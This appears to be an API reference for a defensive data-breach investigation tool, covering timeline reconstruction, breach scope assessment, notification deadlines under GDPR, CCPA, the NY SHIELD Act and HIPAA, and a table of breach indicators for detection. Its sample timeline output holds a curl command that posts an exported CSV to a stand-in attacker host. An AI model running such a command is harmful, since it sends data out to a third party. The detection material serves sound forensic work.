<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# Data Breach Investigation — API Reference

## Reconstruct Breach Timeline

```bash
node scripts/agent.js --action timeline --input /var/log/access.log --start "2025-03-01" --end "2025-03-15"
```

## Assess Breach Scope

```bash
node scripts/agent.js --action scope --input /tmp/breach_timeline.json
```

## Determine Notification Obligations

```bash
node scripts/agent.js --action notify --input /tmp/breach_scope.json --jurisdictions "eu,us-ca,us-hipaa"
```

## Breach Indicators

| Indicator | Description | Severity |
|-----------|-------------|----------|
| bulk_access | SELECT * FROM queries | High |
| data_export | COPY/EXPORT/DUMP commands | Critical |
| auth_failure | Authentication failures | High |
| privilege_change | GRANT/ALTER ROLE | Critical |
| lateral_movement | SSH/RDP/PsExec connections | High |
| exfiltration | curl/wget/scp upload activity | Critical |
| data_staging | Archive creation with data files | Critical |

## Notification Jurisdictions

| Jurisdiction | Regulation | Deadline |
|-------------|-----------|----------|
| eu | GDPR Art. 33 | 72 hours |
| us-ca | CCPA/CPRA | 30 days |
| us-ny | NY SHIELD Act | Expedient |
| us-hipaa | HIPAA Breach Notification | 60 days |

## Timeline Output Format

```json
{
  "timestamp": "2025-03-10T02:15:00",
  "indicator": "exfiltration",
  "severity": "critical",
  "context": "curl -X POST https://evil.com/collect -d @/tmp/export.csv"
}
```

## Scope Assessment Output

```json
{
  "breach_window": {"first": "2025-03-01T14:00:00", "last": "2025-03-10T02:15:00"},
  "data_exfiltrated": true,
  "bulk_data_accessed": true,
  "severity": "critical"
}
```
